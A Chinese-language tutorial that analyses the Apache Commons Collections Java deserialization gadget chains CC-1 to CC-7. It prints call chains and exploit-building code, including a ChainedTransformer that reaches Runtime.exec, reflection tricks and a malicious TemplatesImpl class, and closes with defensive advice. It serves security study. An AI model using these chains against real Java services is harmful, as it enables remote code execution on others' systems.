Java反序列化漏洞分析:Commons Collections利用链全解析
前言
本文详细分析Apache Commons Collections(CC)反序列化漏洞利用链,从CC-1到CC-7的完整利用过程。Commons Collections是Apache软件基金会的一个开源项目,提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架。
基础知识
反序列化漏洞原理
Java反序列化漏洞的核心在于:当程序反序列化不可信的数据时,攻击者可以通过构造特殊的序列化数据,在反序列化过程中执行任意代码。
关键接口和类
Transformer接口:CC库中的核心接口,定义了对象转换的方法InvokerTransformer:实现Transformer接口,可利用反射执行任意方法TransformedMap:用于对Map进行修饰的工具类LazyMap:延迟计算的Map实现ChainedTransformer:将多个Transformer串联执行
CC-1利用链分析
环境要求
- Commons Collections 3.2.1
- JDK 8u65及以下
核心利用点
-
InvokerTransformer.transform()方法
public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } -
TransformedMap.checkSetValue()方法
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } -
AnnotationInvocationHandler.readObject()方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { memberValue.setValue(...); }
完整利用链
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()
EXP构造过程
- 构造恶意Transformer链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- 构造TransformedMap:
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "v");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
- 通过反射创建AnnotationInvocationHandler实例:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ann = c.getDeclaredConstructor(Class.class, Map.class);
ann.setAccessible(true);
Object annIns = ann.newInstance(Target.class, transformedmap);
CC-6利用链分析
适用环境
- JDK 8u71及以上(AnnotationInvocationHandler被修复后)
核心利用点
-
TiedMapEntry.hashCode()方法
public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } -
TiedMapEntry.getValue()方法
public Object getValue() { return map.get(key); } -
HashMap.readObject()方法
for (int i = 0; i < mappings; i++) { putVal(hash(key), key, value, false, false); }
完整利用链
ObjectInputStream.readObject()
-> HashMap.readObject()
-> HashMap.hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> Runtime.exec()
EXP构造关键点
- 防止序列化时触发:
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
// 序列化后修改
Field factoryFied = LazyMap.class.getDeclaredField("factory");
factoryFied.setAccessible(true);
factoryFied.set(lazyMap, chainedTransformer);
- 防止key被重复使用:
lazyMap.remove("key");
CC-3利用链分析
核心特点
使用TemplatesImpl加载字节码,避免直接使用InvokerTransformer执行命令
关键类和方法
-
TemplatesImpl.newTransformer()
public synchronized Transformer newTransformer() { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); } -
TemplatesImpl.getTransletInstance()
if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); -
TrAXFilter构造函数
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); }
完整利用链
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> Proxy.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TrAXFilter构造函数
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> 加载恶意字节码
EXP构造要点
- 构造恶意类:
public class EvilClass extends AbstractTranslet {
public EvilClass() throws Exception {
Runtime.getRuntime().exec("calc");
}
// 必须重写这两个方法
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
- 设置TemplatesImpl参数:
Field nameField = templatesClass.getDeclaredField("_name");
nameField.set(templates, "lituer");
Field bytecodeField = templatesClass.getDeclaredField("_bytecodes");
bytecodeField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("EvilClass.class"))});
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.set(templates, new TransformerFactoryImpl());
CC-5利用链分析
核心利用点
-
TiedMapEntry.toString()方法
public String toString() { return getKey() + "=" + getValue(); } -
BadAttributeValueExpException.readObject()方法
val = valObj.toString();
完整利用链
ObjectInputStream.readObject()
-> BadAttributeValueExpException.readObject()
-> TiedMapEntry.toString()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> Runtime.exec()
CC-7利用链分析
核心利用点
-
Hashtable.readObject()方法
for (; elements > 0; elements--) { reconstitutionPut(newData, (K)ois.readObject(), (V)ois.readObject()); } -
Hashtable.reconstitutionPut()方法
if (e.hash == hash && e.key.equals(key)) { throw new StreamCorruptedException(); } -
AbstractMapDecorator.equals()
public boolean equals(Object object) { return map.equals(object); }
关键技巧
- 构造hash碰撞:
// "yy"和"zZ"的hashCode相同
Map innerMap1 = new HashMap();
innerMap1.put("yy", 1);
Map innerMap2 = new HashMap();
innerMap2.put("zZ", 1);
CC-4利用链分析(Commons Collections4)
核心利用点
-
TransformingComparator.compare()方法
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } -
PriorityQueue.readObject()方法
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
完整利用链
ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> Runtime.exec()
CC-2利用链分析(Commons Collections4)
与CC-4的区别
使用InstantiateTransformer和TrAXFilter替代直接执行命令
关键代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
防御措施
- 升级Commons Collections到最新版本
- 使用JDK安全机制限制反序列化
- 使用白名单验证反序列化的类
- 使用安全工具如SerialKiller进行防护
总结
本文详细分析了Commons Collections从1到7的利用链,涵盖了不同版本和环境下的利用方式。理解这些利用链不仅有助于安全研究人员发现和修复漏洞,也能帮助开发人员编写更安全的代码。